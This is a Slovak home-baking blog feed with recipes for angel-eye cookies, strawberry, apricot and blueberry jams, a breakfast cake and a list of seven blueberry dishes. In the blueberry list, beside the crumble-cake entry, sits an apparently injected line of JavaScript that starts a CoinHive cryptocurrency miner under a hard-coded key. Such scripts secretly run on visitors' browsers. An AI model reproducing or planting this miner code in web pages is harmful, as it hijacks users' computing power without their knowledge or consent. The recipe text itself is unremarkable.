Nevravím, že nie sú prácne, no stoja za to. Treba ich spraviť tak akurát veľké, ani nie drobné, ani nie ozrutánske. Sú také jemné a rozplývajú sa na jazyku, že pri jednom sa nedá ostať. A ak si dáte extra námahu a namiesto klasickej jamky vytvarujete srdiečko, budú navyše aj roztomilé.

Pri ich príprave som sa inšpirovala receptom od Preppy Kitchen. V mojom recepte môžete použiť 2 žĺtky alebo aj 1 celé vajce, podľa toho, ako vám to vyhovuje. Vyskúšala som aj vyšľahať maslo z kryštálovým cukrom, ale zdalo sa mi to zbytočne prácne, a tak vám odporúčam použiť práškový cukor a na cesto len klasicky zmiešať všetky suroviny.

Anjelské oči

• 360 g hladkej múky
• 230 g zmäknutého masla
• 150 g práškového cukru
• 1 vajce alebo 2 žĺtky
• 1 ČL vanilkového extraktu
• džem na plnenie (kyslejší ríbezľový sa hodí skvelo, aj marhuľový bol super)

Zo všetkých surovín – okrem džemu – uhnetieme cesto.
Cesto nemusí pred pečením odstáť. Ak si ho však robíte vopred, v chladničke môže postáť 1-2 dni.
Najlepšie sa koláčiky tvarujú, keď je cesto trochu mäkšie. Ak ho máte v chladničke, vyberte ho 1 hodinu v predstihu.
Z cesta odoberáme kúsky, z ktorých tvarujeme guličky. Aby boli koláčiky rovnaké, pomôžeme si váhou – navážime si 10 g kúsky.
Každú guličku sploštíme v dlani a palcom vtlačíme do stredu jamku. Ideálne je palcom vtlačiť jamku sprava aj zľava, aby bola rovnomerná.
(Ak chceme tvarovať srdiečka, robíme to pomocou malíčkov a dolný hrot srdiečka dotvarujeme hrotom noža.)
Do pevného sáčku dáme pár lyžíc džemu, odstrihneme rožtek a džemom plníme jamky v koláčikoch.
Naplnené koláčiky môžeme dať do chladu, kým sa vyhreje rúra, ale nie je to nevyhnutné.
Pečieme vo vopred vyhriatej rúre na 180 st. C asi 14-16 minút dozlata.
Pred servírovaním môžeme ešte poprášiť cukrom.

Ak vyskúšate anjelské oči podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Anjelské oči zobrazený najskôr Zo srdca do hrnca.

Domáce džemy milujem a na blogu nájdete aj čučoriedkový či marhuľový. Všetky džemy pripravujem rovnako, ovocie dôkladne umyjem, nakrájam a zasypem cukrom. Nechám odstáť do druhého dňa, rozmixujem a potom varím džem.

Jahodový džem

• 1 kg jahôd
• 500 g kryštálového cukru
• 1 ČL kyseliny citrónovej

Jahody odstopkujeme dobre umyjeme. Nakrájame na polovice a do misky ukladáme jahody presypané cukrom. Zakryjeme a necháme v chladničke odstáť do druhého dňa (12-24 hodín).

Na druhý deň si pripravíme fľaše na džem – dôkladne umyjeme fľaše aj vrchnáky. Ja ich potom zalievam vriacou vodou a chvíľu nechám postáť.

Jahody s cukrom rozmixujeme tyčovým mixérom. Rozmixovanú zmes varíme po častiach pár minút na panvici. Zmes trochu stmavne a vareškou sa v džeme na panvici dá urobiť „cestička“. Takto uvarený džem postupne plníme do fliaš.

Naplnené fľaše pevne uzavrieme, otočíme dole vrškom a necháme celkom vychladnúť.

Ak vyskúšate jahodový džem podľa môjho receptu, podeľte sa o to v komentároch!

Ela

Príspevok Jahodový džem zobrazený najskôr Zo srdca do hrnca.

Raňajkový koláč

• 3 vajcia
• 150 g cukru
• 1 vanilkový cukor
• 1 prášok do pečiva
• 300 g hladkej múky
• 250 g hladkého tvarohu vo vaničke
• kôra z 1 pomaranča
• 100 ml pomarančovej šťavy (z jedného pomaranča)

+ forma na pečenie 24 cm, maslo a múka na vymastenie a vysypanie formy

Rúru vyhrejeme na 180 st. C. Formu s priemerom 24 cm vymastíme maslom a vysypeme múkou. 

Vajcia s cukrom a vanilkovým cukrom vyšľaháme do svetlej peny (7-8 minút). Zľahka vmiešame tvaroh, kôru a šťavu z pomaranča. Nakoniec pridáme preosiatú múku s práškom do pečiva. 

Cesto vylejeme do okrúhlej 24 cm formy a pečieme 35 – 40 minút. Keď je zapichnuté špáradlo suché, koláč je upečený. Necháme celkom vychladnúť a podávame na raňajky s džemom.

Ak vyskúšate raňajkový koláč podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Raňajkový koláč zobrazený najskôr Zo srdca do hrnca.

1. Mrveničkový koláč s tvarohom a čučoriedkami

Moja obľúbená kombinácia, po upečení je chrumkavý, na druhý deň vláčny, každý si príde na svoje.

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Mrveničkový koláč s tvarohom a čučoriedkami

2. Čučoriedkový džem

Vytunila som super džem len z ovocia a cukru. V recepte nájdete môj zaručený postup, ako zachovať chuť a nestratiť farbu.

Čučoriedkový džem

3. Kysnutý čučoriedkový koláč s posýpkou (+ kváskový variant)

Kto by nemiloval kysnuté koláče? Kváskové či z droždia, z plechu miznú ešte teplé :)

Kysnutý čučoriedkový koláč s posýpkou (aj z kvásku)

4. Čučoriedkové nanuky /vegan/

Hit našich letných dní, keď je veľa ovocia, aj veľa stupňov.

Domáce nanuky

5. RAW koláčiky s čučoriedkami

Osviežujúce a ľahké koláčiky bez pečenia.

Čučoriedkové raw koláčiky

6. Famózna mrazená čučoriedková torta

Ďalší tip na horúce dni, táto torta má perfektnú chuť aj konzistenciu. Recept mám od Silvie Horeckej a celkom sa u nás udomácnil :)

7. Omáčka k divine

Sladkokyslá chuť omáčky pekne dopĺňa divinu, trochu sa vyhráte a domácou omáčkou zabodujete.

Čučoriedková omáčka k divine

Ak vyskúšate niektorý z mojich čučoriedkových receptov, podeľte sa o to na FB Zo srdca do hrnca alebo na Instagrame s hashtagom #zosrdcadohrnca … a pokojne aj tu v komentároch! :-)

Príspevok 7 čučoriedkových receptov na koláče, džem aj omáčku zobrazený najskôr Zo srdca do hrnca.

Nebojte sa, nie že by som za rok stihla spotrebovať dvadsať fliaš džemu. Ale ten pocit, že si môžem zavariť vlastný a nemusím kupovať džemy z obchodu, je na nezaplatenie. A čo môže byť lepší darček, ako džemy vlastnej výroby? Moji najbližší sa takýmto drobnostiam vždy potešia.

Marhule sú osviežujúce ovocie, potrebujú však viac cukru na zavarenie. Podľa sladkosti marhúľ dávam 500-600 g cukru na kilo ovocia. A nič viac. Na džem použite dozreté marhule bez kazov, treba rátať s odpadom v podobe kôstok. Kilo očistených marhúľ dostanete z približne 1,4 kg celých marhúľ.

Na marhuľový džem potrebujeme:

• 1 kg očistených odkôstkovaných marhúľ
• 500-600 g cukru (podľa sladkosti marhúľ)

Marhule nakrájame na štvrtky. Na striedačku zasypeme cukrom (vrstva marhúľ, vrstva cukru,..) zakryjeme a necháme v chladničke odstáť cez noc, max 24 hodín. Cukor sa rozpustí. Mixérom rozmixujeme marhule na jemno, trochu marhúľ môžete pokrájať na kúsky. Džem varíme na panvici postupne, vždy odoberieme 1-2 naberačky a miešame pár minút, kým zhustne a tvorí sa cestička (pozri foto a postup v recepte tu). Horúci džem postupne plníme do suchých čistých fliaš, ihneď zatvoríme, otočíme dole dnom a pod dekou necháme celkom vychladnúť.

Ak vyskúšate marhuľový džem podľa môjho receptu, podeľte sa o to v komentároch! :-)

Ela

Príspevok Marhuľový džem zobrazený najskôr Zo srdca do hrnca.

Na kilo čučoriedok som dala 300 g cukru, moje čučoriedky boli sladké. Ak máte menej sladké ovocie, môžete cukru pridať. Ja veľmi presladené nemusím. Z kila ovocia som zavarila 7 ks 1,5 dcl fľašiek.

Výbornou fintou na chutný džem je staré známe presýpanie ovocia cukrom. Očistené nakrájané ovocie na vrstvy zasypeme cukrom a necháme postáť cez noc, ideálne 24 hodín, cukor sa rozpustí. Z takto spracovaného ovocia bude džem viac „šťavnatý“ a získa krajšiu farbu, ako keď by ste priamo uvarili ovocie s cukrom.

Na čučoriedkový džem potrebujeme:

• 1 kg čučoriedok
• 300-500 g cukru

1. Zrelé čučoriedky dôkladne očistíme od nečistôt a umyjeme. Rukami ich popučíme a na vrstvy zasypeme cukrom. Necháme v chladničke postáť 12-24 hodín, cukor sa postupne rozpustí.
2. Ponorným mixérom rozmixujeme čučoriedky, môžeme nechať aj celé kúsky.
3. Postupne na panvici varíme po 1-2 naberačky čučoriedkovej hmoty.
4. Miešame vareškou, džem mení farbu zo svetlejšej na tmavofialovú. Hotový je, keď zhustne a ostáva po prejdení vareškou cestička (že na chvíľu vidno dno panvice). Mne to trvalo cca 3-4 minúty. Ak si nie ste istí hustotou, kvapnite trochu džemu na tanier. Hneď vychladne a viete odhadnúť konzistenciu.
5. Horúci džem plníme do suchých čistých fliaš.
6. Otočíme dole viečkom, prikryjeme dekou a necháme celkom vychladnúť.

Z jedného kila ovocia som naplnila sedem fľaštičiek s objemom 150 ml.

Ak vyskúšate čučoriedkový džem podľa môjho receptu, podeľte sa o to v komentároch! :-)

Ela

Príspevok Čučoriedkový džem zobrazený najskôr Zo srdca do hrnca.